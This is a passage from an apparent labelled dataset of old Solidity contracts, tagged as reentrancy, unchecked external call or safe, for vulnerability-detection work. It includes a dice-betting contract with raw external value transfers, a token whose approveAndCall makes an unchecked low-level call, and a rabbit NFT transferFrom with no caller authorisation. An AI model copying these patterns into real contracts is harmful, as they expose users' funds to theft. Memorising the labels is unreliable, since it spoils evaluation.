@param parts A list of slices to join. * @return A newly allocated string containing all the slices in `parts`, * joined with `self`. */ function join(slice self, slice[] parts) internal returns (string) { if (parts.length == 0) return """"; uint len = self._len * (parts.length - 1); for(uint i = 0; i < parts.length; i++) len += parts[i]._len; var ret = new string(len); uint retptr; assembly { retptr := add(ret, 32) } for(i = 0; i < parts.length; i++) { memcpy(retptr, parts[i]._ptr, parts[i]._len); retptr += parts[i]._len; if (i < parts.length - 1) { memcpy(retptr, self._ptr, self._len); retptr += self._len; } } return ret; } } contract DSSafeAddSub { function safeToAdd(uint a, uint b) internal returns (bool) { return (a + b >= a); } function safeAdd(uint a, uint b) internal returns (uint) { if (!safeToAdd(a, b)) throw; return a + b; } function safeToSubtract(uint a, uint b) internal returns (bool) { return (b <= a); } function safeSub(uint a, uint b) internal returns (uint) { if (!safeToSubtract(a, b)) throw; return a - b; } } contract Etheroll is usingOraclize, DSSafeAddSub { using strings for *; /* * checks player profit, bet size and player number is within range */ modifier betIsValid(uint _betSize, uint _playerNumber) { if(((((_betSize * (100-(safeSub(_playerNumber,1)))) / (safeSub(_playerNumber,1))+_betSize))*houseEdge/houseEdgeDivisor)-_betSize > maxProfit || _betSize < minBet || _playerNumber < minNumber || _playerNumber > maxNumber) throw; _; } /* * checks game is currently active */ modifier gameIsActive { if(gamePaused == true) throw; _; } /* * checks payouts are currently active */ modifier payoutsAreActive { if(payoutsPaused == true) throw; _; } /* * checks only Oraclize address is calling */ modifier onlyOraclize { if (msg.sender != oraclize_cbAddress()) throw; _; } /* * checks only owner address is calling */ modifier onlyOwner { if (msg.sender != owner) throw; _; } /* * checks only treasury address is calling */ modifier onlyTreasury { if (msg.sender != treasury) throw; _; } /* * game vars */ uint constant public maxProfitDivisor = 1000000; uint constant public houseEdgeDivisor = 1000; uint constant public maxNumber = 99; uint constant public minNumber = 2; bool public gamePaused; uint32 public gasForOraclize; address public owner; bool public payoutsPaused; address public treasury; uint public contractBalance; uint public houseEdge; uint public maxProfit; uint public maxProfitAsPercentOfHouse; uint public minBet; int public totalBets; uint public maxPendingPayouts; uint public costToCallOraclizeInWei; uint public totalWeiWon; /* * player vars */ mapping (bytes32 => address) playerAddress; mapping (bytes32 => address) playerTempAddress; mapping (bytes32 => bytes32) playerBetId; mapping (bytes32 => uint) playerBetValue; mapping (bytes32 => uint) playerTempBetValue; mapping (bytes32 => uint) playerRandomResult; mapping (bytes32 => uint) playerDieResult; mapping (bytes32 => uint) playerNumber; mapping (address => uint) playerPendingWithdrawals; mapping (bytes32 => uint) playerProfit; mapping (bytes32 => uint) playerTempReward; /* * events */ /* log bets + output to web3 for precise 'payout on win' field in UI */ event LogBet(bytes32 indexed BetID, address indexed PlayerAddress, uint indexed RewardValue, uint ProfitValue, uint BetValue, uint PlayerNumber); /* output to web3 UI on bet result*/ /* Status: 0=lose, 1=win, 2=win + failed send, 3=refund, 4=refund + failed send*/ event LogResult(uint indexed ResultSerialNumber, bytes32 indexed BetID, address indexed PlayerAddress, uint PlayerNumber, uint DiceResult, uint Value, int Status, bytes Proof); /* log manual refunds */ event LogRefund(bytes32 indexed BetID, address indexed PlayerAddress, uint indexed RefundValue); /* log owner transfers */ event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred); /* * init */ function Etheroll() { owner = msg.sender; treasury = msg.sender; oraclize_setNetwork(networkID_auto); /* use TLSNotary for oraclize call */ oraclize_setProof(proofType_TLSNotary | proofStorage_IPFS); /* init 990 = 99% (1% houseEdge)*/ ownerSetHouseEdge(990); /* init 10,000 = 1% */ ownerSetMaxProfitAsPercentOfHouse(10000); /* init min bet (0.1 ether) */ ownerSetMinBet(100000000000000000); /* init gas for oraclize */ gasForOraclize = 250000; } /* * public function * player submit bet * only if game is active & bet is valid can query oraclize and set player vars */ function playerRollDice(uint rollUnder) public payable gameIsActive betIsValid(msg.value, rollUnder) { /* safely update contract balance to account for cost to call oraclize*/ contractBalance = safeSub(contractBalance, 57245901639344); /* * assign partially encrypted query to oraclize * only the apiKey is encrypted * integer query is in plain text */ bytes32 rngId = oraclize_query(""nested"", ""[URL] ['json(https://api.random.org/json-rpc/1/invoke).result.random[\""serialNumber\"",\""data\""]', '\\n{\""jsonrpc\"":\""2.0\"",\""method\"":\""generateSignedIntegers\"",\""params\"":{\""apiKey\"":${[decrypt] BLTe8VciIyWmeHuO/L7y8u0F8rPBJpkcvi/eX6rXg/Rx+xCLjQKvIc44PkJeV5CYtWBH5fwiBMnYHpWPpbgjNJaGrqBisy22XBv+WvP9GPwzDBlEkFK+YwsPaubyhZCgrCYfXEZAmNhnhqzTkV317yuwh97Bjvk=},\""n\"":1,\""min\"":1,\""max\"":100,\""replacement\"":true,\""base\"":10${[identity] \""}\""},\""id\"":1${[identity] \""}\""}']"", gasForOraclize); /* total number of bets */ totalBets += 1; /* map bet id to this oraclize query */ playerBetId[rngId] = rngId; /* map player lucky number to this oraclize query */ playerNumber[rngId] = rollUnder; /* map value of wager to this oraclize query */ playerBetValue[rngId] = msg.value; /* map player address to this oraclize query */ playerAddress[rngId] = msg.sender; /* safely map player profit to this oraclize query */ playerProfit[rngId] = ((((msg.value * (100-(safeSub(rollUnder,1)))) / (safeSub(rollUnder,1))+msg.value))*houseEdge/houseEdgeDivisor)-msg.value; /* safely increase maxPendingPayouts liability - calc all pending payouts under assumption they win */ maxPendingPayouts = safeAdd(maxPendingPayouts, playerProfit[rngId]); /* check contract can payout on win */ if(maxPendingPayouts >= contractBalance) throw; /* provides accurate numbers for web3 and allows for manual refunds in case of no oraclize __callback */ LogBet(playerBetId[rngId], playerAddress[rngId], safeAdd(playerBetValue[rngId], playerProfit[rngId]), playerProfit[rngId], playerBetValue[rngId], playerNumber[rngId]); } /* * semi-public function - only oraclize can call */ /*TLSNotary for oraclize call */ function __callback(bytes32 myid, string result, bytes proof) public onlyOraclize payoutsAreActive { /* player address mapped to query id does not exist */ if (playerAddress[myid]==0x0) throw; /* keep oraclize honest by retrieving the serialNumber from random.org result */ var sl_result = result.toSlice(); sl_result.beyond(""["".toSlice()).until(""]"".toSlice()); uint serialNumberOfResult = parseInt(sl_result.split(', '.toSlice()).toString()); /* map result to player */ playerRandomResult[myid] = parseInt(sl_result.beyond(""["".toSlice()).until(""]"".toSlice()).toString()); /* produce integer bounded to 1-100 inclusive * via sha3 result from random.org and proof (IPFS address of TLSNotary proof) */ playerDieResult[myid] = uint(sha3(playerRandomResult[myid], proof)) % 100 + 1; /* get the playerAddress for this query id */ playerTempAddress[myid] = playerAddress[myid]; /* delete playerAddress for this query id */ delete playerAddress[myid]; /* map the playerProfit for this query id */ playerTempReward[myid] = playerProfit[myid]; /* set playerProfit for this query id to 0 */ playerProfit[myid] = 0; /* safely reduce maxPendingPayouts liability */ maxPendingPayouts = safeSub(maxPendingPayouts, playerTempReward[myid]); /* map the playerBetValue for this query id */ playerTempBetValue[myid] = playerBetValue[myid]; /* set playerBetValue for this query id to 0 */ playerBetValue[myid] = 0; /* * refund * if result from oraclize is 0 refund only the original bet value * if refund fails save refund value to playerPendingWithdrawals */ if(playerDieResult[myid]==0){ LogResult(serialNumberOfResult, playerBetId[myid], playerTempAddress[myid], playerNumber[myid], playerDieResult[myid], playerTempBetValue[myid], 3, proof); /* * send refund - external call to an untrusted contract * if send fails map refund value to playerPendingWithdrawals[address] * for withdrawal later via playerWithdrawPendingTransactions */ if(!playerTempAddress[myid].send(playerTempBetValue[myid])){ LogResult(serialNumberOfResult, playerBetId[myid], playerTempAddress[myid], playerNumber[myid], playerDieResult[myid], playerTempBetValue[myid], 4, proof); /* if send failed let player withdraw via playerWithdrawPendingTransactions */ playerPendingWithdrawals[playerTempAddress[myid]] = safeAdd(playerPendingWithdrawals[playerTempAddress[myid]], playerTempBetValue[myid]); } return; } /* * pay winner * update contract balance to calculate new max bet * send reward * if send of reward fails save value to playerPendingWithdrawals */ if(playerDieResult[myid] < playerNumber[myid]){ /* safely reduce contract balance by player profit */ contractBalance = safeSub(contractBalance, playerTempReward[myid]); /* update total wei won */ totalWeiWon = safeAdd(totalWeiWon, playerTempReward[myid]); /* safely calculate payout via profit plus original wager */ playerTempReward[myid] = safeAdd(playerTempReward[myid], playerTempBetValue[myid]); LogResult(serialNumberOfResult, playerBetId[myid], playerTempAddress[myid], playerNumber[myid], playerDieResult[myid], playerTempReward[myid], 1, proof); /* update maximum profit */ setMaxProfit(); /* * send win - external call to an untrusted contract * if send fails map reward value to playerPendingWithdrawals[address] * for withdrawal later via playerWithdrawPendingTransactions */ if(!playerTempAddress[myid].send(playerTempReward[myid])){ LogResult(serialNumberOfResult, playerBetId[myid], playerTempAddress[myid], playerNumber[myid], playerDieResult[myid], playerTempReward[myid], 2, proof); /* if send failed let player withdraw via playerWithdrawPendingTransactions */ playerPendingWithdrawals[playerTempAddress[myid]] = safeAdd(playerPendingWithdrawals[playerTempAddress[myid]], playerTempReward[myid]); } return; } /* * no win * send 1 wei to a losing bet * update contract balance to calculate new max bet */ if(playerDieResult[myid] >= playerNumber[myid]){ LogResult(serialNumberOfResult, playerBetId[myid], playerTempAddress[myid], playerNumber[myid], playerDieResult[myid], playerTempBetValue[myid], 0, proof); /* * safe adjust contractBalance * setMaxProfit * send 1 wei to losing bet */ contractBalance = safeAdd(contractBalance, (playerTempBetValue[myid]-1)); /* update maximum profit */ setMaxProfit(); /* * send 1 wei - external call to an untrusted contract */ if(!playerTempAddress[myid].send(1)){ /* if send failed let player withdraw via playerWithdrawPendingTransactions */ playerPendingWithdrawals[playerTempAddress[myid]] = safeAdd(playerPendingWithdrawals[playerTempAddress[myid]], 1); } return; } } /* * public function * in case of a failed refund or win send */ function playerWithdrawPendingTransactions() public payoutsAreActive returns (bool) { uint withdrawAmount = playerPendingWithdrawals[msg.sender]; playerPendingWithdrawals[msg.sender] = 0; /* external call to untrusted contract */ if (msg.sender.call.value(withdrawAmount)()) { return true; } else { /* if send failed revert playerPendingWithdrawals[msg.sender] = 0; */ /* player can try to withdraw again later */ playerPendingWithdrawals[msg.sender] = withdrawAmount; return false; } } /* check for pending withdrawals */ function playerGetPendingTxByAddress(address addressToCheck) public constant returns (uint) { return playerPendingWithdrawals[addressToCheck]; } /* * internal function * sets max profit */ function setMaxProfit() internal { maxProfit = (contractBalance*maxProfitAsPercentOfHouse)/maxProfitDivisor; } /* * owner/treasury address only functions */ function () payable onlyTreasury { /* safely update contract balance */ contractBalance = safeAdd(contractBalance, msg.value); /* update the maximum profit */ setMaxProfit(); } /* set gas for oraclize query */ function ownerSetOraclizeSafeGas(uint32 newSafeGasToOraclize) public onlyOwner { gasForOraclize = newSafeGasToOraclize; } /* set house cost to call oraclize query */ function ownerUpdateCostToCallOraclize(uint newCostToCallOraclizeInWei) public onlyOwner { costToCallOraclizeInWei = newCostToCallOraclizeInWei; } /* only owner address can set houseEdge */ function ownerSetHouseEdge(uint newHouseEdge) public onlyOwner { houseEdge = newHouseEdge; } /* only owner address can set maxProfitAsPercentOfHouse */ function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public onlyOwner { /* restrict each bet to a maximum profit of 1% contractBalance */ if(newMaxProfitAsPercent > 10000) throw; maxProfitAsPercentOfHouse = newMaxProfitAsPercent; setMaxProfit(); } /* only owner address can set minBet */ function ownerSetMinBet(uint newMinimumBet) public onlyOwner { minBet = newMinimumBet; } /* only owner address can transfer ether */ function ownerTransferEther(address sendTo, uint amount) public onlyOwner { /* safely update contract balance when sending out funds*/ contractBalance = safeSub(contractBalance, amount); /* update max profit */ setMaxProfit(); if(!sendTo.send(amount)) throw; LogOwnerTransfer(sendTo, amount); } /* only owner address can do manual refund * used only if bet placed + oraclize failed to __callback * filter LogBet by address and/or playerBetId: * LogBet(playerBetId[rngId], playerAddress[rngId], safeAdd(playerBetValue[rngId], playerProfit[rngId]), playerProfit[rngId], playerBetValue[rngId], playerNumber[rngId]); * check the following logs do not exist for playerBetId and/or playerAddress[rngId] before refunding: * LogResult or LogRefund * if LogResult exists player should use the withdraw pattern playerWithdrawPendingTransactions */ function ownerRefundPlayer(bytes32 originalPlayerBetId, address sendTo, uint originalPlayerProfit, uint originalPlayerBetValue) public onlyOwner { /* safely reduce pendingPayouts by playerProfit[rngId] */ maxPendingPayouts = safeSub(maxPendingPayouts, originalPlayerProfit); /* send refund */ if(!sendTo.send(originalPlayerBetValue)) throw; /* log refunds */ LogRefund(originalPlayerBetId, sendTo, originalPlayerBetValue); } /* only owner address can set emergency pause #1 */ function ownerPauseGame(bool newStatus) public onlyOwner { gamePaused = newStatus; } /* only owner address can set emergency pause #2 */ function ownerPausePayouts(bool newPayoutStatus) public onlyOwner { payoutsPaused = newPayoutStatus; } /* only owner address can set treasury address */ function ownerSetTreasury(address newTreasury) public onlyOwner { treasury = newTreasury; } /* only owner address can set owner address */ function ownerChangeOwner(address newOwner) public onlyOwner { owner = newOwner; } /* only owner address can suicide - emergency */ function ownerkill() public onlyOwner { suicide(owner); } }",./Dataset/reentrancy (RE)/,5,5 31489.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract ShackCoin is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function ShackCoin( ) { balances[msg.sender] = 1000000; // Give the creator all initial tokens (100000 for example) totalSupply = 1000000; // Update total supply (100000 for example) name = ""ShackCoin""; // Set the name for display purposes decimals = 0; // Amount of decimals for display purposes symbol = ""SHACK""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/unchecked external call (UC),7,7 0x01e13ae1ee71234964c4b1118d97db1de4efb632_RTB2.sol,"pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns(uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns(uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns(uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns(uint256) { uint256 c = a + b; assert(c >= a); return c; } /** * @dev x to the power of y */ function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else{ uint256 z = x; for (uint256 i = 1; i < y; i++) z = mul(z,x); return (z); } } } interface shareProfit { function increaseProfit() external payable returns(bool); } contract RTB2 is shareProfit { using SafeMath for uint256; uint8 public decimals = 0; uint256 public totalSupply = 700; uint256 public totalSold = 0; uint256 public constant price = 1 ether; string public name = ""Retro Block Token 2""; string public symbol = ""RTB2""; address public owner; address public finance; mapping (address=>uint256) received; uint256 profit; address public jackpot; shareProfit public shareContract; mapping (address=>uint256) changeProfit; mapping (address=>uint256) balances; mapping (address=>mapping (address=>uint256)) allowed; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event AddProfit(address indexed _from, uint256 _value, uint256 _newProfit); event Withdraw(address indexed _addr, uint256 _value); modifier onlyOwner() { require(msg.sender == owner, ""only owner""); _; } modifier onlyHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } constructor(address _shareAddr) public { owner = msg.sender; finance = 0x28Dd611d5d2cAA117239bD3f3A548DcE5Fa873b0; jackpot = 0x119ea7f823588D2Db81d86cEFe4F3BE25e4C34DC; shareContract = shareProfit(_shareAddr); balances[this] = 700; } function() public payable { require(msg.value > 0, ""Amount must be provided""); profit = msg.value.div(totalSupply).add(profit); emit AddProfit(msg.sender, msg.value, profit); } function increaseProfit() external payable returns(bool){ if(msg.value > 0){ profit = msg.value.div(totalSupply).add(profit); emit AddProfit(msg.sender, msg.value, profit); return true; }else{ return false; } } function totalSupply() external view returns (uint256){ return totalSupply; } function balanceOf(address _owner) external view returns (uint256) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool) { require(_value > 0 && allowed[msg.sender][_spender] == 0); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) external returns (bool) { require(_value <= allowed[_from][msg.sender]); allowed[_from][msg.sender] -= _value; return _transfer(_from, _to, _value); } function allowance(address _owner, address _spender) external view returns (uint256) { return allowed[_owner][_spender]; } function transfer(address _to, uint256 _value) external returns (bool) { return _transfer(msg.sender, _to, _value); } function _transfer(address _from, address _to, uint256 _value) internal returns (bool) { require(_to != address(0), ""Receiver address cannot be null""); require(_from != _to); require(_value > 0 && _value <= balances[_from]); uint256 newToVal = balances[_to] + _value; assert(newToVal >= balances[_to]); uint256 newFromVal = balances[_from] - _value; balances[_to] = newToVal; balances[_from] = newFromVal; uint256 temp = _value.mul(profit); changeProfit[_from] = changeProfit[_from].add(temp); received[_to] = received[_to].add(temp); emit Transfer(_from, _to, _value); return true; } function buy(uint256 _amount) external onlyHuman payable{ require(_amount > 0); uint256 _money = _amount.mul(price); require(msg.value == _money); require(balances[this] >= _amount); require((totalSupply - totalSold) >= _amount, ""Sold out""); _transfer(this, msg.sender, _amount); finance.transfer(_money.mul(60).div(100)); jackpot.transfer(_money.mul(20).div(100)); shareContract.increaseProfit.value(_money.mul(20).div(100))(); totalSold += _amount; } function withdraw() external { uint256 value = getProfit(msg.sender); require(value > 0, ""No cash available""); emit Withdraw(msg.sender, value); received[msg.sender] = received[msg.sender].add(value); msg.sender.transfer(value); } function getProfit(address _addr) public view returns(uint256){ return profit.mul(balances[_addr]).add(changeProfit[_addr]).sub(received[_addr]); } function setJackpot(address _addr) public onlyOwner{ jackpot = _addr; } function setShare(address _addr) public onlyOwner{ shareContract = shareProfit(_addr); } function setFinance(address _addr) public onlyOwner{ finance = _addr; } }",Safe,8,8 0x02c6a6c802456e3c0b9b55e7071892084caf42f8_lockEtherPay.sol,"pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 29980800; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0xE6271c287C5a276378162dfCBa1db7fd40E5486a; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }",Safe,8,8 434.sol,"pragma solidity ^0.4.23; contract Ownable { address public ownerCEO; address ownerMoney; address ownerServer; address privAddress; constructor() public { ownerCEO = msg.sender; ownerServer = msg.sender; ownerMoney = msg.sender; } modifier onlyOwner() { require(msg.sender == ownerCEO); _; } modifier onlyServer() { require(msg.sender == ownerServer || msg.sender == ownerCEO); _; } function transferOwnership(address add) public onlyOwner { if (add != address(0)) { ownerCEO = add; } } function transferOwnershipServer(address add) public onlyOwner { if (add != address(0)) { ownerServer = add; } } function transferOwnerMoney(address _ownerMoney) public onlyOwner { if (_ownerMoney != address(0)) { ownerMoney = _ownerMoney; } } function getOwnerMoney() public view onlyOwner returns(address) { return ownerMoney; } function getOwnerServer() public view onlyOwner returns(address) { return ownerServer; } function getPrivAddress() public view onlyOwner returns(address) { return privAddress; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BaseRabbit is Ownable { event SendBunny(address newOwnerBunny, uint32 bunnyId); event StopMarket(uint32 bunnyId); event StartMarket(uint32 bunnyId, uint money); event BunnyBuy(uint32 bunnyId, uint money); event EmotherCount(uint32 mother, uint summ); event NewBunny(uint32 bunnyId, uint dnk, uint256 blocknumber, uint breed ); event ChengeSex(uint32 bunnyId, bool sex, uint256 price); event SalaryBunny(uint32 bunnyId, uint cost); event CreateChildren(uint32 matron, uint32 sire, uint32 child); event BunnyName(uint32 bunnyId, string name); event BunnyDescription(uint32 bunnyId, string name); event CoolduwnMother(uint32 bunnyId, uint num); event Transfer(address from, address to, uint32 tokenId); event Approval(address owner, address approved, uint32 tokenId); event OwnerBunnies(address owner, uint32 tokenId); address public myAddr_test = 0x982a49414fD95e3268D3559540A67B03e40AcD64; using SafeMath for uint256; bool pauseSave = false; uint256 bigPrice = 0.0005 ether; uint public commission_system = 5; uint32 public lastIdGen0; uint public totalGen0 = 0; uint public lastTimeGen0; uint public timeRangeCreateGen0 = 1; uint public promoGen0 = 2500; uint public promoMoney = 1*bigPrice; bool public promoPause = false; function setPromoGen0(uint _promoGen0) public onlyOwner { promoGen0 = _promoGen0; } function setPromoPause() public onlyOwner { promoPause = !promoPause; } function setPromoMoney(uint _promoMoney) public onlyOwner { promoMoney = _promoMoney; } modifier timeRange() { require((lastTimeGen0+timeRangeCreateGen0) < now); _; } mapping(uint32 => uint) public totalSalaryBunny; mapping(uint32 => uint32[5]) public rabbitMother; mapping(uint32 => uint) public motherCount; mapping(uint32 => uint) public rabbitBreedCount; mapping(uint32 => uint) public rabbitSirePrice; mapping(uint => uint32[]) public sireGenom; mapping (uint32 => uint) mapDNK; uint32[12] public cooldowns = [ uint32(1 minutes), uint32(2 minutes), uint32(4 minutes), uint32(8 minutes), uint32(16 minutes), uint32(32 minutes), uint32(1 hours), uint32(2 hours), uint32(4 hours), uint32(8 hours), uint32(16 hours), uint32(1 days) ]; struct Rabbit { uint32 mother; uint32 sire; uint birthblock; uint birthCount; uint birthLastTime; uint role; uint genome; } Rabbit[] public rabbits; mapping (uint32 => address) public rabbitToOwner; mapping(address => uint32[]) public ownerBunnies; mapping (uint32 => string) rabbitDescription; mapping (uint32 => string) rabbitName; mapping (uint32 => bool) giffblock; mapping (address => bool) ownerGennezise; } contract ERC721 { function ownerOf(uint32 _tokenId) public view returns (address owner); function approve(address _to, uint32 _tokenId) public returns (bool success); function transfer(address _to, uint32 _tokenId) public; function transferFrom(address _from, address _to, uint32 _tokenId) public returns (bool); function totalSupply() public view returns (uint total); function balanceOf(address _owner) public view returns (uint balance); } contract PrivateRabbitInterface { function getNewRabbit(address from) public view returns (uint); function mixDNK(uint dnkmother, uint dnksire, uint genome) public view returns (uint); function isUIntPrivate() public pure returns (bool); } contract BodyRabbit is BaseRabbit, ERC721 { uint public totalBunny = 0; string public constant name = ""CryptoRabbits""; string public constant symbol = ""CRB""; PrivateRabbitInterface privateContract; function setPriv(address _privAddress) public returns(bool) { privAddress = _privAddress; privateContract = PrivateRabbitInterface(_privAddress); } bool public fcontr = false; constructor() public { setPriv(myAddr_test); fcontr = true; } function isPriv() public view returns(bool) { return privateContract.isUIntPrivate(); } modifier checkPrivate() { require(isPriv()); _; } function ownerOf(uint32 _tokenId) public view returns (address owner) { return rabbitToOwner[_tokenId]; } function approve(address _to, uint32 _tokenId) public returns (bool) { _to; _tokenId; return false; } function removeTokenList(address _owner, uint32 _tokenId) internal { uint count = ownerBunnies[_owner].length; for (uint256 i = 0; i < count; i++) { if(ownerBunnies[_owner][i] == _tokenId) { delete ownerBunnies[_owner][i]; if(count > 0 && count != (i-1)){ ownerBunnies[_owner][i] = ownerBunnies[_owner][(count-1)]; delete ownerBunnies[_owner][(count-1)]; } ownerBunnies[_owner].length--; return; } } } function getSirePrice(uint32 _tokenId) public view returns(uint) { if(rabbits[(_tokenId-1)].role == 1){ uint procent = (rabbitSirePrice[_tokenId] / 100); uint res = procent.mul(25); uint system = procent.mul(commission_system); res = res.add(rabbitSirePrice[_tokenId]); return res.add(system); } else { return 0; } } function addTokenList(address owner, uint32 _tokenId) internal { ownerBunnies[owner].push( _tokenId); emit OwnerBunnies(owner, _tokenId); rabbitToOwner[_tokenId] = owner; } function transfer(address _to, uint32 _tokenId) public { address currentOwner = msg.sender; address oldOwner = rabbitToOwner[_tokenId]; require(rabbitToOwner[_tokenId] == msg.sender); require(currentOwner != _to); require(_to != address(0)); removeTokenList(oldOwner, _tokenId); addTokenList(_to, _tokenId); emit Transfer(oldOwner, _to, _tokenId); } function transferFrom(address _from, address _to, uint32 _tokenId) public returns(bool) { address oldOwner = rabbitToOwner[_tokenId]; require(oldOwner == _from); require(oldOwner != _to); require(_to != address(0)); removeTokenList(oldOwner, _tokenId); 